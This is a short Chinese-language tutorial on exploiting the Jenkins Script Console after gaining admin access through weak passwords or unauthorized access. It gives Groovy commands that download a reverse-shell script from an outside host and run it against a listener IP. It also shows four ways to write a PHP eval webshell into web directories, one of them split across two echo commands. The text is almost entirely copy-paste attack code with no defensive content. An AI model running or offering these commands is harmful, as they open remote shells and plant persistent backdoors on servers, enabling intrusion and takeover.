Jenkins是一个开源软件项目,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。
Jenkins管理登陆之后,后台”系统管理”功能,有个”脚本命令行的”功能,它的作用是执行用于管理或故障探测或诊断的任意脚本命令,功能如图:
利用该功能,可以执行系统命令,例如执行”whoami”命令,如图所示:
该功能实际上Jenkins正常的功能,由于很多管理账号使用了弱口令,或者管理后台存在未授权访问,导致该功能会对Jenkins系统服务器产生比较严重的影响和危害。
1) 直接wget下载back.py反弹shell,如下:
println "wget http://www.nxadmin.com/tools/back.py -P /tmp/".execute().text println "python /tmp/back.py 10.1.1.111 8080".execute().text
2)多种写webshell方法,如下:
① wget写webshell println "wget http://shell.nxadmin.com/data/t.txt -o /var/www/html/media.php".execute().text ② new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>'); ③ def webshell = '<?php @eval($_POST[s3cpu1se]);?>' new File("/var/www/html/media.php").write("$webshell"); ④追加法写webshell def execute(cmd) { def proc = cmd.execute() proc.waitFor() } execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/media.php' ] ) execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/media.php' ] )
//参数-n 不要在最后自动换行